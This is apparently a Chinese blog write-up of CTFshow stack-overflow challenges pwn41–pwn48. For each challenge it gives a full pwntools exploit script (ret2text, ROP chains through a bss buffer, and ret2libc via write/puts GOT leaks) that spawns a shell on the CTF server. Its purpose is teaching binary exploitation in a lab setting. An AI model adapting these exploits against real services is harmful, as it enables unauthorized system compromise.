CTFshow-PWN入门-栈溢出pwn41~pwn48

4 篇文章 2 订阅
4 篇文章 1 订阅

本文主要详解CTFshow中pwn入门系列的栈溢出模块的其中8题

所用工具:linux环境下的虚拟机、IDA Pro、exeinfope

以下操作中小编用的都是自己的kali环境

pwn41

32位文件,有NX保护

存在栈溢出、后门函数和system调用,这里有"sh",而不是"/bin/sh"

这里先介绍一下/bin/sh和/sh的区别:

system("/bin/sh") 是直接指定了系统默认的shell程序路径来执行命令,这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行文件。
system("sh") 则会直接启动一个名为sh的shell程序,依赖系统的环境变量 $PATH 来查找 sh 可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的;

exp如下:

from pwn import *

p = remote('pwn.challenge.ctf.show','28132')

offset = 0x12 + 4
system = 0x80483D0
#elf = ELF('./pwn')
#system = elf.sym['system']
sh = 0x80487BA
payload = offset * b'a' + p32(system) + b'aaaa' + p32(sh)

p.sendline(payload)
p.interactive()

pwn42

64位,有NX保护。内容和pwn41一样,只有位数的区别

exp如下:

from pwn import *

p = remote('pwn.challenge.ctf.show','28217')

offset = 0xA + 8
system_addr = 0x400560
sh_addr = 0x400872
rdi_addr = 0x400843
ret_addr = 0x40053e
payload = offset * b'a' + p64(rdi_addr) + p64(sh_addr) + p64(ret_addr) + p64(system_addr)

p.sendline(payload)
p.interactive()

pwn43

32位,有NX保护

gets栈溢出

后门函数中只有system,没有"/bin/sh"和"/sh"

bss段中有一个buf2,可以利用这个缓冲区指针来存储输入的数据,这样只要传入/bin/sh再给system做参数,就能get shell了

大概的payload如下

payload = [填充] + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system_addr) + [4bytes填充] +p32(buf2)
#1.填充后溢出,执行gets函数,接收数据
#2.将数据从栈中弹出存入寄存器ebx中
#3.再用缓冲区指针buf2指向寄存器ebx的数据
#4.调用system函数,参数为buf2所指数据,即gets接收的数据

exp如下:

from pwn import *
p = remote('pwn.challenge.ctf.show','28146')

offset = 0x6c + 4
system_addr = 0x8048450
buf2 = 0x804B060
gets = 0x8048420
pop_ebx = 0x08048409
payload = offset * b'a' + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system_addr) + b'aaaa' +p32(buf2)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

pwn44

64位,有NX保护

和上题一样,区别就是64位没有ebx寄存器,还需要用rdi代替,先找到地址

exp如下:

from pwn import *
p = remote('pwn.challenge.ctf.show','28209')

offset = 0xA + 8
system_addr = 0x400520
buf2 = 0x602080
gets = 0x400530
pop_rdi = 0x4007f3
payload = offset * b'a' + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

payload解释:

1.利用 pop_rdi 指令将 buf2 的地址加载到rdi寄存器中,因为在调用gets函数之前,你需要将输入的缓冲区的地址(即buf2的地址)传递给gets函数,以便gets函数知道将输入数据存储在哪个缓冲区中
2.调用 gets 函数,以 buf2 的地址作为参数,从用户输入中读取数据,并将其存储在buf2中
3.再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中
4.调用 system 函数,以 buf2 的地址作为参数

pwn45

32位,有NX保护

read栈溢出,没有"system",也没有"/bin/sh"

发现这里有write函数和puts函数,可以作为libc的泄露函数

write函数原型

ssize_t write(int fd,const void*buf,size_t count);
#fd:是文件描述符(write所对应的是写,即就是1) 
#buf:通常是一个字符串,需要写入的字符串
#count:是每次写入的字节数

exp1如下(泄露write):

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", "28221")
elf = ELF("./pwn")
offset = 0x6B + 0x4
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = offset * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got)+ p32(4)
#p32(4)为write函数的参数
p.sendline(payload)
write_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)
p.sendline(payload)
p.interactive()

exp2如下(泄露puts):

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", "28126")
elf = ELF("./pwn")
offset = 0x6B + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)
p.sendline(payload)
p.interactive()

选择正确的libc版本

pwn46

64位,有NX保护,和上一题一样

依旧是write函数

exp1如下(泄露write):

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", "28229")
elf = ELF("./pwn")

offset = 0x70 + 0x8
pop_rdi = 0x400803
pop_rsi_r15 = 0x400801
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = offset * b'a' + p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload += p64(write_plt)
payload += p64(main_addr)
#这里的main_addr不是write的参数,是输出write_got地址之后的返回地址,write的第三个参数存在rdx中
p.sendline(payload)

write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = offset * b'a' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

exp2如下(泄露puts):

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", "28229")
elf = ELF("./pwn")

offset = 0x70 + 0x8
pop_rdi = 0x400803
pop_rsi_r15 = 0x400801
ret = 0x4004fe
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#这行代码首先等待接收数据,直到遇到\x7f字节为止,然后从接收的数据中提取倒数第6个字节到最后一个字节,将其左对齐并用\x00填充,最后将得到的字节序列转换为一个64位无符号整数,即puts函数的地址
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = offset * b'a' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)

p.sendline(payload)
p.interactive()

pwn47

32位,有NX保护

存在gets函数的溢出,可以利用puts函数和libc得到/bin/sh

经过上面的磨练,就直接上exp了:

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", "28160")
elf = ELF("./pwn")
offset = 0x9c + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)
p.sendline(payload)
p.interactive()

pwn48

32位,和上一题一样的exp

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", "28105")
elf = ELF("./pwn")
offset = 0x6B + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)
p.sendline(payload)
p.interactive()

总结:

本文中的题目涉及残缺后门、无后门的栈溢出,利用gets+缓冲区、libc等方法分别对32位和64位的文件进行提权,需要注意的是libc的泄露函数不同,如puts、write,相应的payload也不同。

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,栈溢出是一种常见的攻击方式。 根据提供的引用,我了解到栈溢出是一种通过向程序输入过长的数据导致数据溢出栈的一种攻击手段。栈是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出栈空间大小的数据时,溢出的数据会覆盖到栈上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用栈溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖栈上的返回地址,使其指向攻击者准备好的恶意代码,从而实现栈溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用栈溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发栈溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,栈溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止栈溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN栈溢出是一种通过向程序输入过长数据导致栈溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,栈溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值